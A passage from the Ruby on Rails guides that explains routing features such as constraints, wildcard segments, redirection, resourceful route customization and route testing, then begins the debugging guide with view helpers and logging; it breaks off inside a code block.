You can define defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:

```
get "photos/:id", to: "photos#show", defaults: { format: "jpg" }
```

Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.

You can also use a [`defaults`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-defaults) block to define the defaults for multiple items:

```
defaults format: :json do
  resources :photos
  resources :articles
end
```

You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path.

### [3.6. Naming Routes](#naming-routes)

You can specify a name that will be used by the `_path` and `_url` helpers for any route using the `:as` option:

```
get "exit", to: "sessions#destroy", as: :logout
```

This will create `logout_path` and `logout_url` as the route helpers in your application. Calling `logout_path` will return `/exit`.

You can also use `as` to override routing helper names defined by `resources` by placing a custom route definition *before* the resource is defined, like this:

```
get ":username", to: "users#show", as: :user
resources :users
```

This will define a `user_path` helper that will match `/:username` (e.g. `/jane`). Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user.

### [3.7. HTTP Verb Constraints](#http-verb-constraints)

In general, you should use the [`get`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-get), [`post`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-post), [`put`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-put), [`patch`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-patch), and [`delete`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/HttpHelpers.html#method-i-delete) methods to constrain a route to a particular verb. There is a [`match`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-match) method that you could use with the `:via` option to match multiple verbs at once:

```
match "photos", to: "photos#show", via: [:get, :post]
```

The above route matches GET and POST requests to the `show` action of the `PhotosController`.

You can match all verbs to a particular route using `via: :all`:

```
match "photos", to: "photos#show", via: :all
```

Routing both `GET` and `POST` requests to a single action has security implications. For example, the `GET` action won't check for CSRF token (so writing to the database from `GET` request is not a good idea. For more information see the [security guide](security.html#csrf-countermeasures)). In general, avoid routing all verbs to a single action unless you have a good reason.

### [3.8. Segment Constraints](#segment-constraints)

You can use the `:constraints` option to enforce a format for a dynamic segment:

```
get "photos/:id", to: "photos#show", constraints: { id: /[A-Z]\d{5}/ }
```

The above route definition requires `id` to be 5 alphanumeric characters long. Therefore, this route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:

```
get "photos/:id", to: "photos#show", id: /[A-Z]\d{5}/
```

The `:constraints` option takes regular expressions (as well as any object that responds to `matches?` method) with the restriction that regexp anchors can't be used. For example, the following route will not work:

```
get "/:id", to: "articles#show", constraints: { id: /^\d/ }
```

However, note that you don't need to use anchors because all routes are anchored at the start and the end.

For example:

```
get "/:id", to: "articles#show", constraints: { id: /\d.+/ }
get "/:username", to: "users#show"
```

The above routes would allow sharing the root namespace and:

* route paths that always begin with a number, like `/1-hello-world`, to `articles` with `id` value.
* route paths that never begin with a number, like `/david`, to `users` with `username` value.

### [3.9. Request-Based Constraints](#request-based-constraints)

You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`.

You specify a request-based constraint the same way that you specify a segment constraint. For example:

```
get "photos", to: "photos#index", constraints: { subdomain: "admin" }
```

Will match an incoming request with a path to `admin` subdomain.

You can also specify constraints by using a [`constraints`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-constraints) block:

```
constraints subdomain: "admin" do
  resources :photos
end
```

Will match something like `https://admin.example.com/photos`.

Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then comparing the return value with the hash value. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected. However, using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.

Constraint values should match the corresponding Request object method return type.

There is an exception for the `format` constraint, while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET /foo` because the format is optional by default.

You can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` to only match the route to explicit JSON requests.

### [3.10. Advanced Constraints](#advanced-constraints)

If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a restricted list to the `RestrictedListController`. You could do:

```
class RestrictedListConstraint
  def initialize
    @ips = RestrictedList.retrieve_ips
  end

  def matches?(request)
    @ips.include?(request.remote_ip)
  end
end

Rails.application.routes.draw do
  get "*path", to: "restricted_list#index",
    constraints: RestrictedListConstraint.new
end
```

You can also specify constraints as a lambda:

```
Rails.application.routes.draw do
  get "*path", to: "restricted_list#index",
    constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }
end
```

Both the `matches?` method and the lambda gets the `request` object as an argument.

#### [3.10.1. Constraints in a Block Form](#constraints-in-a-block-form)

You can specify constraints in a block form. This is useful for when you need to apply the same rule to several routes. For example:

```
class RestrictedListConstraint
  # ...Same as the example above
end

Rails.application.routes.draw do
  constraints(RestrictedListConstraint.new) do
    get "*path", to: "restricted_list#index"
    get "*other-path", to: "other_restricted_list#index"
  end
end
```

You can also use a `lambda`:

```
Rails.application.routes.draw do
  constraints(lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) }) do
    get "*path", to: "restricted_list#index"
    get "*other-path", to: "other_restricted_list#index"
  end
end
```

### [3.11. Wildcard Segments](#wildcard-segments)

A route definition can have a wildcard segment, which is a segment prefixed with a star, such as `*other`:

```
get "photos/*other", to: "photos#unknown"
```

Wildcard segments allow for something called "route globbing", which is a way to specify that a particular parameter (`*other` above) be matched to the remaining part of a route.

So the above route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`.

Wildcard segments can occur anywhere in a route. For example:

```
get "books/*section/:title", to: "books#show"
```

would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.

Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in the order they occur. For example:

```
get "*a/foo/*b", to: "test#index"
```

would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.

### [3.12. Format Segments](#format-segments)

Given this route definition:

```
get "*pages", to: "pages#show"
```

By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON in `params[:format]`.

The default behavior with `format` is that if included Rails automatically captures it from the URL and includes it in params\[:format], but `format` is not required in a URL.

If you want to match URLs without an explicit format and ignore URLs that include a format extension, you could supply `format: false` like this:

```
get "*pages", to: "pages#show", format: false
```

If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:

```
get "*pages", to: "pages#show", format: true
```

### [3.13. Redirection](#redirection)

You can redirect any path to any other path by using the [`redirect`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Redirection.html#method-i-redirect) helper in your router:

```
get "/stories", to: redirect("/articles")
```

You can also reuse dynamic segments from the match in the path to redirect to:

```
get "/stories/:name", to: redirect("/articles/%{name}")
```

You can also provide a block to `redirect`, which receives the symbolized path parameters and the request object:

```
get "/stories/:name", to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
get "/stories", to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
```

Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the `:status` option to change the response status:

```
get "/stories/:name", to: redirect("/articles/%{name}", status: 302)
```

In all of these cases, if you don't provide the host (`http://www.example.com`), Rails will take those details from the current request.

### [3.14. Routing to Rack Applications](#routing-to-rack-applications)

Instead of specifying `:to` as a String like `'articles#index'`, which corresponds to the `index` method in the `ArticlesController` class, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:

```
match "/application.js", to: MyRackApp, via: :all
```

As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and a controller action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs.

An interesting tidbit - `'articles#index'` expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.

Since procs/lambdas are objects that respond to `call`, you can implement very simple routes (e.g. for health checks) inline, something like: `get '/health', to: ->(env) { [204, {}, ['']] }`

If you specify a Rack application as the endpoint for a matcher, remember that the route will be unchanged in the receiving application. With the following route your Rack application should expect the route to be `/admin`:

```
match "/admin", to: AdminApp, via: :all
```

If you would prefer to have your Rack application receive requests at the root path instead, use [`mount`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-mount):

```
mount AdminApp, at: "/admin"
```

### [3.15. Using `root`](#using-root)

You can specify what Rails should route `'/'` to with the [`root`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-root) method:

```
root to: "pages#main"
root "pages#main" # shortcut for the above
```

You typically put the `root` route at the top of the file so that it can be matched first.

The `root` route primarily handles `GET` requests by default. But it is possible to configure it to handle other verbs (e.g. `root "posts#index", via: :post`)

You can also use root inside namespaces and scopes as well:

```
root to: "home#index"

namespace :admin do
  root to: "admin#index"
end
```

The above will match `/admin` to the `index` action for the `AdminController` and match `/` to `index` action of the `HomeController`.

### [3.16. Unicode Character Routes](#unicode-character-routes)

You can specify unicode character routes directly. For example:

```
get "こんにちは", to: "welcome#index"
```

### [3.17. Direct Routes](#direct-routes)

You can create custom URL helpers by calling [`direct`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-direct). For example:

```
direct :homepage do
  "https://rubyonrails.org"
end

# >> homepage_url
# => "https://rubyonrails.org"
```

The return value of the block must be a valid argument for the [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/UrlFor.html) method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class.

```
direct :commentable do |model|
  [ model, anchor: model.dom_id ]
end
```

```
direct :main do
  { controller: "pages", action: "index", subdomain: "www" }
end

# >> main_url
# => "http://www.example.com/pages"
```

### [3.18. Using `resolve`](#using-resolve)

The [`resolve`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/CustomUrls.html#method-i-resolve) method allows customizing polymorphic mapping of models. For example:

```
resource :basket

resolve("Basket") { [:basket] }
```

```
<%= form_with model: @basket do |form| %>
  <!-- basket form -->
<% end %>
```

This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.

## [4. Customizing Resourceful Routes](#customizing-resourceful-routes)

While the default routes and helpers generated by [`resources`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-resources) will usually serve you well, you may need to customize them in some way. Rails allows for several different ways to customize the resourceful routes and helpers. This section will detail the available options.

### [4.1. Specifying a Controller to Use](#specifying-a-controller-to-use)

The `:controller` option lets you explicitly specify a controller to use for the resource. For example:

```
resources :photos, controller: "images"
```

will recognize incoming paths beginning with `/photos` but route to the `Images` controller:

| HTTP Verb | Path             | Controller#Action | Named Route Helper     |
| --------- | ---------------- | ----------------- | ---------------------- |
| GET       | /photos          | images#index      | photos\_path           |
| GET       | /photos/new      | images#new        | new\_photo\_path       |
| POST      | /photos          | images#create     | photos\_path           |
| GET       | /photos/:id      | images#show       | photo\_path(:id)       |
| GET       | /photos/:id/edit | images#edit       | edit\_photo\_path(:id) |
| PATCH/PUT | /photos/:id      | images#update     | photo\_path(:id)       |
| DELETE    | /photos/:id      | images#destroy    | photo\_path(:id)       |

For namespaced controllers you can use the directory notation. For example:

```
resources :user_permissions, controller: "admin/user_permissions"
```

This will route to the `Admin::UserPermissionsController` instance.

Only the directory notation is supported. Specifying the controller with Ruby constant notation (e.g. `controller: 'Admin::UserPermissions'`) is not supported.

### [4.2. Specifying Constraints on `id`](#specifying-constraints-on-id)

You can use the `:constraints` option to specify a required format on the implicit `id`. For example:

```
resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
```

This declaration constrains the `:id` parameter to match the given regular expression. The router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.

You can specify a single constraint to apply to a number of routes by using the block form:

```
constraints(id: /[A-Z][A-Z][0-9]+/) do
  resources :photos
  resources :accounts
end
```

You can use the more [advanced constraints](#advanced-constraints) available in non-resourceful routes section in this context as well.

By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.

### [4.3. Overriding the Named Route Helpers](#overriding-the-named-route-helpers)

The `:as` option lets you override the default naming for the route helpers. For example:

```
resources :photos, as: "images"
```

This will match `/photos` and route the requests to `PhotosController` as usual, *but* use the value of the `:as` option to name the helpers `images_path` etc., as shown:

| HTTP Verb | Path             | Controller#Action | Named Route Helper     |
| --------- | ---------------- | ----------------- | ---------------------- |
| GET       | /photos          | photos#index      | images\_path           |
| GET       | /photos/new      | photos#new        | new\_image\_path       |
| POST      | /photos          | photos#create     | images\_path           |
| GET       | /photos/:id      | photos#show       | image\_path(:id)       |
| GET       | /photos/:id/edit | photos#edit       | edit\_image\_path(:id) |
| PATCH/PUT | /photos/:id      | photos#update     | image\_path(:id)       |
| DELETE    | /photos/:id      | photos#destroy    | image\_path(:id)       |

### [4.4. Renaming the `new` and `edit` Path Names](#renaming-the-new-and-edit-path-names)

The `:path_names` option lets you override the default `new` and `edit` segment in paths. For example:

```
resources :photos, path_names: { new: "make", edit: "change" }
```

This would allow paths such as `/photos/make` and `/photos/1/change` instead of `/photos/new` and `/photos/1/edit`.

The route helpers and controller action names aren't changed by this option. The two paths shown would have `new_photo_path` and `edit_photo_path` helpers and still route to the `new` and `edit` actions.

It is also possible to change this option uniformly for all of your routes by using a `scope` block:

```
scope path_names: { new: "make" } do
  # rest of your routes
end
```

### [4.5. Prefixing the Named Route Helpers with `:as`](#prefixing-the-named-route-helpers-with-as)

You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:

```
scope "admin" do
  resources :photos, as: "admin_photos"
end

resources :photos
```

This changes the route helpers for `/admin/photos` from `photos_path`, `new_photo_path`, etc. to `admin_photos_path`, `new_admin_photo_path`, etc. Without the addition of `as: 'admin_photos'` on the scoped `resources :photos`, the non-scoped `resources :photos` will not have any route helpers.

To prefix a group of route helpers, use `:as` with `scope`:

```
scope "admin", as: "admin" do
  resources :photos, :accounts
end

resources :photos, :accounts
```

Just as before, this changes the `/admin` scoped resource helpers to `admin_photos_path` and `admin_accounts_path`, and allows the non-scoped resources to use `photos_path` and `accounts_path`.

The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.

### [4.6. Using `:as` in Nested Resources](#using-as-in-nested-resources)

The `:as` option can override routing helper names for resources in nested routes as well. For example:

```
resources :magazines do
  resources :ads, as: "periodical_ads"
end
```

This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path` instead of the default `magazine_ads_url` and `edit_magazine_ad_path`.

### [4.7. Parametric Scopes](#parametric-scopes)

You can prefix routes with a named parameter:

```
scope ":account_id", as: "account", constraints: { account_id: /\d+/ } do
  resources :articles
end
```

This will provide you with paths such as `/1/articles/9` and will allow you to reference the `account_id` part of the path as `params[:account_id]` in controllers, helpers, and views.

It will also generate path and URL helpers prefixed with `account_`, into which you can pass your objects as expected:

```
account_article_path(@account, @article) # => /1/article/9
url_for([@account, @article])            # => /1/article/9
form_with(model: [@account, @article])   # => <form action="/1/article/9" ...>
```

The `:as` option is also not mandatory, but without it, Rails will raise an error when evaluating `url_for([@account, @article])` or other helpers that rely on `url_for`, such as [`form_with`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormHelper.html#method-i-form_with).

### [4.8. Restricting the Routes Created](#restricting-the-routes-created)

By default, using `resources` creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`). You can use the `:only` and `:except` options to limit which routes are created.

The `:only` option tells Rails to create only the specified routes:

```
resources :photos, only: [:index, :show]
```

Now, a `GET` request to `/photos` or `/photos/:id` would succeed, but a `POST` request to `/photos` will fail to match.

The `:except` option specifies a route or list of routes that Rails should *not* create:

```
resources :photos, except: :destroy
```

In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).

If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process by eliminating [unused routes](#listing-unused-routes).

### [4.9. Translated Paths](#translated-paths)

Using `scope`, we can alter path names generated by `resources`:

```
scope(path_names: { new: "neu", edit: "bearbeiten" }) do
  resources :categories, path: "kategorien"
end
```

Rails now creates routes to the `CategoriesController`.

| HTTP Verb | Path                       | Controller#Action  | Named Route Helper        |
| --------- | -------------------------- | ------------------ | ------------------------- |
| GET       | /kategorien                | categories#index   | categories\_path          |
| GET       | /kategorien/neu            | categories#new     | new\_category\_path       |
| POST      | /kategorien                | categories#create  | categories\_path          |
| GET       | /kategorien/:id            | categories#show    | category\_path(:id)       |
| GET       | /kategorien/:id/bearbeiten | categories#edit    | edit\_category\_path(:id) |
| PATCH/PUT | /kategorien/:id            | categories#update  | category\_path(:id)       |
| DELETE    | /kategorien/:id            | categories#destroy | category\_path(:id)       |

### [4.10. Specifying the Singular Form of a Resource](#specifying-the-singular-form-of-a-resource)

If you need to override the singular form of a resource, you can add a rule to Active Support Inflector via [`inflections`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Inflector.html#method-i-inflections):

```
ActiveSupport::Inflector.inflections do |inflect|
  inflect.irregular "tooth", "teeth"
end
```

### [4.11. Renaming Default Route Parameter `id`](#renaming-default-route-parameter-id)

It is possible to rename the default parameter name `id` with the `:param` option. For example:

```
resources :videos, param: :identifier
```

Will now use `params[:identifier]` instead of `params[:id]`.

```
    videos GET  /videos(.:format)                  videos#index
           POST /videos(.:format)                  videos#create
 new_video GET  /videos/new(.:format)              videos#new
edit_video GET  /videos/:identifier/edit(.:format) videos#edit
```

```
Video.find_by(id: params[:identifier])

# Instead of
Video.find_by(id: params[:id])
```

You can override [`ActiveRecord::Base#to_param`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Integration.html#method-i-to_param) of the associated model to construct a URL:

```
class Video < ApplicationRecord
  def to_param
    identifier
  end
end
```

```
irb> video = Video.find_by(identifier: "Roman-Holiday")
irb> edit_video_path(video)
=> "/videos/Roman-Holiday/edit"
```

## [5. Inspecting Routes](#inspecting-routes)

Rails offers a few different ways of inspecting and testing your routes.

### [5.1. Listing Existing Routes](#listing-existing-routes)

To get a complete list of routes available in an application, visit `http://localhost:3000/rails/info/routes` in the **development** environment. You can also execute the `bin/rails routes` command in your terminal to get the same output.

Both methods will list all of your routes, in the same order that they appear in `config/routes.rb`. For each route, you'll see:

* The route name (if any)
* The HTTP verb used (if the route doesn't respond to all verbs)
* The URL pattern to match
* The routing parameters for the route

For example, here's a small section of the `bin/rails routes` output for a RESTful route:

```
    users GET    /users(.:format)          users#index
          POST   /users(.:format)          users#create
 new_user GET    /users/new(.:format)      users#new
edit_user GET    /users/:id/edit(.:format) users#edit
```

The route name (`new_user` above, for example) can be considered the base for deriving route helpers. To get the name of a route helper, add the suffix `_path` or `_url` to the route name (`new_user_path`, for example).

You can also use the `--expanded` option to turn on the expanded table formatting mode.

```
$ bin/rails routes --expanded

--[ Route 1 ]----------------------------------------------------
Prefix            | users
Verb              | GET
URI               | /users(.:format)
Controller#Action | users#index
--[ Route 2 ]----------------------------------------------------
Prefix            |
Verb              | POST
URI               | /users(.:format)
Controller#Action | users#create
--[ Route 3 ]----------------------------------------------------
Prefix            | new_user
Verb              | GET
URI               | /users/new(.:format)
Controller#Action | users#new
--[ Route 4 ]----------------------------------------------------
Prefix            | edit_user
Verb              | GET
URI               | /users/:id/edit(.:format)
Controller#Action | users#edit
```

### [5.2. Searching Routes](#searching-routes)

You can search through your routes with the grep option: `-g`. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.

```
$ bin/rails routes -g new_comment
$ bin/rails routes -g POST
$ bin/rails routes -g admin
```

If you only want to see the routes that map to a specific controller, there's the controller option: `-c`.

```
$ bin/rails routes -c users
$ bin/rails routes -c admin/users
$ bin/rails routes -c Comments
$ bin/rails routes -c Articles::CommentsController
```

The output from `bin/rails routes` is easier to read if you widen your terminal window until the output lines don't wrap or use the `--expanded` option.

### [5.3. Listing Unused Routes](#listing-unused-routes)

You can scan your application for unused routes with the `--unused` option. An "unused" route in Rails is a route that is defined in the config/routes.rb file but is not referenced by any controller action or view in your application. For example:

```
$ bin/rails routes --unused
Found 8 unused routes:

     Prefix Verb   URI Pattern                Controller#Action
     people GET    /people(.:format)          people#index
            POST   /people(.:format)          people#create
 new_person GET    /people/new(.:format)      people#new
edit_person GET    /people/:id/edit(.:format) people#edit
     person GET    /people/:id(.:format)      people#show
            PATCH  /people/:id(.:format)      people#update
            PUT    /people/:id(.:format)      people#update
            DELETE /people/:id(.:format)      people#destroy
```

### [5.4. Routes in Rails Console](#routes-in-rails-console)

You can access route helpers using `Rails.application.routes.url_helpers` within the [Rails Console](command_line.html#bin-rails-console). They are also available via the [app](command_line.html#the-app-object) object. For example:

```
irb> Rails.application.routes.url_helpers.users_path
=> "/users"

irb> user = User.first
=> #<User:0x00007fc1eab81628
irb> app.edit_user_path(user)
=> "/users/1/edit"
```

## [6. Testing Routes](#testing-routes)

Rails offers three built-in assertions designed to make testing routes simpler:

* [`assert_generates`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates)
* [`assert_recognizes`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes)
* [`assert_routing`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing)

### [6.1. The `assert_generates` Assertion](#the-assert-generates-assertion)

[`assert_generates`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:

```
assert_generates "/photos/1", { controller: "photos", action: "show", id: "1" }
assert_generates "/about", controller: "pages", action: "about"
```

### [6.2. The `assert_recognizes` Assertion](#the-assert-recognizes-assertion)

[`assert_recognizes`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:

```
assert_recognizes({ controller: "photos", action: "show", id: "1" }, "/photos/1")
```

You can supply a `:method` argument to specify the HTTP verb:

```
assert_recognizes({ controller: "photos", action: "create" }, { path: "photos", method: :post })
```

### [6.3. The `assert_routing` Assertion](#the-assert-routing-assertion)

The [`assert_routing`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing) assertion checks the route both ways. It combines the functionality of both `assert_generates` and `assert_recognizes`. It tests that the path generates the options, and that the options generate the path:

```
assert_routing({ path: "photos", method: :post }, { controller: "photos", action: "create" })
```

## [7. Breaking Up a Large Route File With `draw`](#breaking-up-a-large-route-file-with-draw)

In a large application with thousands of routes, a single `config/routes.rb` file can become cumbersome and hard to read. Rails offers a way to break up a single `routes.rb` file into multiple small ones using the [`draw`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Resources.html#method-i-draw) macro.

For example, you could add an `admin.rb` file that contains all the routes related to the admin area, another `api.rb` file for API related resources, etc.

```
# config/routes.rb

Rails.application.routes.draw do
  get "foo", to: "foo#bar"

  draw(:admin) # Will load another route file located in `config/routes/admin.rb`
end
```

```
# config/routes/admin.rb

namespace :admin do
  resources :comments
end
```

Calling `draw(:admin)` inside the `Rails.application.routes.draw` block itself will try to load a route file that has the same name as the argument given (`admin.rb` in this example). The file needs to be located inside the `config/routes` directory or any sub-directory (i.e. `config/routes/admin.rb` or `config/routes/external/admin.rb`).

You can use the normal routing DSL inside a secondary routing file such as `admin.rb`, but *do not* surround it with the `Rails.application.routes.draw` block. That should be used in the main `config/routes.rb` file only.

Don't use this feature unless you really need it. Having multiple routing files make it harder to discover routes in one place. For most applications - even those with a few hundred routes - it's easier for developers to have a single routing file. The Rails routing DSL already offers a way to break routes in an organized manner with `namespace` and `scope`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/debugging_rails_applications.html
----

***

## [1. View Helpers for Debugging](#view-helpers-for-debugging)

One common task is to inspect the contents of a variable. Rails provides three different ways to do this:

* `debug`
* `to_yaml`
* `inspect`

### [1.1. `debug`](#debug)

The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:

```
<%= debug @article %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>
```

You'll see something like this:

```
--- !ruby/object Article
attributes:
  updated_at: 2008-09-05 22:55:47
  body: It's a very helpful guide for debugging your Rails app.
  title: Rails debugging guide
  published: t
  id: "1"
  created_at: 2008-09-05 22:55:47
attributes_cache: {}


Title: Rails debugging guide
```

### [1.2. `to_yaml`](#to-yaml)

Alternatively, calling `to_yaml` on any object converts it to YAML. You can pass this converted object into the `simple_format` helper method to format the output. This is how `debug` does its magic.

```
<%= simple_format @article.to_yaml %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>
```

The above code will render something like this:

```
--- !ruby/object Article
attributes:
updated_at: 2008-09-05 22:55:47
body: It's a very helpful guide for debugging your Rails app.
title: Rails debugging guide
published: t
id: "1"
created_at: 2008-09-05 22:55:47
attributes_cache: {}

Title: Rails debugging guide
```

### [1.3. `inspect`](#inspect)

Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:

```
<%= [1, 2, 3, 4, 5].inspect %>
<p>
  <b>Title:</b>
  <%= @article.title %>
</p>
```

Will render:

```
[1, 2, 3, 4, 5]

Title: Rails debugging guide
```

## [2. The Logger](#the-logger)

It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.

### [2.1. What is the Logger?](#what-is-the-logger-questionmark)

Rails makes use of the `ActiveSupport::Logger` class to write log information. Other loggers, such as `Log4r`, may be substituted:

```
# config/environments/production.rb
config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
```

By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.

### [2.2. Log Levels](#log-levels)

When something is logged, it's printed into the corresponding log if the log level of the message is equal to or higher than the configured log level. If you want to know the current log level, you can call the `Rails.logger.level` method.

The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5, respectively. To change the default log level:

```
# config/environments/production.rb
config.log_level = :warn
```

This is useful when you want to log under development or staging without flooding your production log with unnecessary information.

The default Rails log level is `:debug`. However, it is set to `:info` for the `production` environment in the default generated `config/environments/production.rb`.

### [2.3. Sending Messages](#sending-messages)

To write in the current log use the `logger.(debug|info|warn|error|fatal|unknown)` method from within a controller, model, or mailer:

```
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"
```

Here's an example of a method instrumented with extra logging:

```
class ArticlesController < ApplicationController
  # ...

  def create
    @article = Article.new(article_params)
    logger.debug "New article: #{@article.attributes.inspect}"
    logger.debug "Article should be valid: #{@article.valid?}"

    if @article.save
      logger.debug "The article was saved and now the user is going to be redirected..."
      redirect_to @article, notice: 'Article was successfully created.'
    else
      render :new, status: :unprocessable_entity
    end
  end

  # ...

  private
    def article_params
      params.expect(article: [:title, :body, :published])
    end
end
```

Here's an example of the log generated when this controller action is executed:

```
Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400
Processing by ArticlesController#create as HTML
  Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"}
New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil}
Article should be valid: true
   (0.0ms)  begin transaction
  ↳ app/controllers/articles_controller.rb:31
  Article Create (0.5ms)  INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?)  [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]]
  ↳ app/controllers/articles_controller.rb:31
   (2.3ms)  commit transaction
  ↳ app/controllers/articles_controller.rb:31
The article was saved and now the user is going to be redirected...
Redirected to http://localhost:3000/articles/1
Completed 302 Found in 4ms (ActiveRecord: 0.8ms)
```

Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.

### [2.4. Verbose Query Logs](#verbose-query-logs)

When looking at database query output in logs, it may not be immediately clear why multiple database queries are triggered when a single method is called:

```
